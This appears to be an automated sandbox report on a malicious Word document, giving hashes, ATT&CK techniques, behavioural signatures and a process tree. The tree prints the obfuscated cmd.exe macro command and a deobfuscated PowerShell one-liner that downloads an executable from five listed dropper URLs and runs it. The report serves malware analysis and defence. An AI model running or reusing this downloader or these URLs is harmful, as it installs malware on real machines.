e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594

General

Target

e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc
Size

64KB
MD5

d9a8f9f7a45dba6f6883e89189c71c9e
SHA1

4da0ddb8fae437314db58089a38c50e5105e93b5
SHA256

e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594
SHA512

83e21823dd9a1abffba2280ccfd6dcebdbb65ec27e80fe8d6d69c8dd9b7db1b73ac317bb29a30dc6542874aa84385b10148db9274903ed3ac7c0dfafe5b47663
SSDEEP

768:KooRooooM6AoroooonooQoooVoooooIooNpJcaUitGAlmrJpmxlzC+w99NB33y/o:SptJlmrJpmxlRw99NBny/qJP8GjmuZ

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.muabangiup.com/I6gpE

exe.dropper

http://www.tekere.es/ce45TO3

exe.dropper

http://www.expressarsetelagoas.com.br/8tr1wP

exe.dropper

http://www.fix4pc.co.uk/GOjXqkw

exe.dropper

http://www.flora-lux.by/mJHgzFh

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2748	3056	CMd.exe	30

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	2544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2748	CMd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2748	3056	WINWORD.EXE	31
PID 3056 wrote to memory of 2748	3056	WINWORD.EXE	31
PID 3056 wrote to memory of 2748	3056	WINWORD.EXE	31
PID 3056 wrote to memory of 2748	3056	WINWORD.EXE	31
PID 2748 wrote to memory of 2544	2748	CMd.exe	34
PID 2748 wrote to memory of 2544	2748	CMd.exe	34
PID 2748 wrote to memory of 2544	2748	CMd.exe	34
PID 2748 wrote to memory of 2544	2748	CMd.exe	34
PID 3056 wrote to memory of 2840	3056	WINWORD.EXE	35
PID 3056 wrote to memory of 2840	3056	WINWORD.EXE	35
PID 3056 wrote to memory of 2840	3056	WINWORD.EXE	35
PID 3056 wrote to memory of 2840	3056	WINWORD.EXE	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\CMd.exe
  CMd /V^:^O/C"^s^e^t Z^5^I^A=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^tac^}^;^k^a^er^b^;^A^m^d^$^ ^m^e^t^I^-^e^k^ovn^I^;)^A^m^d^$^ ^,^a^d^q$(^e^li^F^d^ao^ln^w^o^D^.^FCC^$^{^yr^t^{)DR^F^$^ n^i^ ^a^d^q^$(hc^a^er^o^f^;^'^e^xe^.^'^+VV^M^$^+^'^\^'+c^il^b^u^p^:vn^e^$^=^A^m^d^$^;'^5^36^'^ ^=^ VV^M^$^;)^'^@^'(^t^i^l^pS^.^'^h^F^z^g^H^J^m/^y^b^.^x^u^l^-^ar^o^l^f^.w^w^w//^:p^t^t^h^@^w^k^q^X^jO^G/k^u^.^oc^.c^p^4^xi^f^.^w^w^w//:^p^tt^h^@^Pw1r^t^8/r^b^.^m^oc^.^s^a^o^g^al^ete^sr^a^s^s^er^p^x^e^.w^w^w//^:p^t^t^h@3O^T^54^ec/^s^e^.^er^e^k^e^t^.^w^w^w//^:^p^t^t^h@^E^p^g^6^I/^m^oc^.^p^u^i^gn^a^ba^u^m.^w^w^w//^:^p^t^t^h^'^=^DR^F^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^FCC^$ ^l^l^e^h^sr^ew^o^p&&^f^or /^L %^s ^in (^3^7^9^,^-^1^,^0)^d^o ^s^e^t ^U^2^y=!^U^2^y!!Z^5^I^A:~%^s,1!&&^i^f %^s=^=^0 c^a^l^l %^U^2^y:^~^-^3^8^0%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell $CCF=new-object Net.WebClient;$FRD='http://www.muabangiup.com/I6gpE@http://www.tekere.es/ce45TO3@http://www.expressarsetelagoas.com.br/8tr1wP@http://www.fix4pc.co.uk/GOjXqkw@http://www.flora-lux.by/mJHgzFh'.Split('@');$MVV = '635';$dmA=$env:public+'\'+$MVV+'.exe';foreach($qda in $FRD){try{$CCF.DownloadFile($qda, $dmA);Invoke-Item $dmA;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2544
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3056-0-0x000000002F621000-0x000000002F622000-memory.dmp

Filesize
4KB

Download
memory/3056-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3056-2-0x000000007106D000-0x0000000071078000-memory.dmp

Filesize
44KB

Download
memory/3056-15-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-25-0x0000000005E20000-0x0000000005F20000-memory.dmp

Filesize
1024KB

Download
memory/3056-24-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-13-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-23-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-10-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-8-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-7-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-6-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-5-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-4-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-21-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-20-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-28-0x000000007106D000-0x0000000071078000-memory.dmp

Filesize
44KB

Download
memory/3056-29-0x00000000003E0000-0x00000000004E0000-memory.dmp

Filesize
1024KB

Download
memory/3056-30-0x0000000005E20000-0x0000000005F20000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads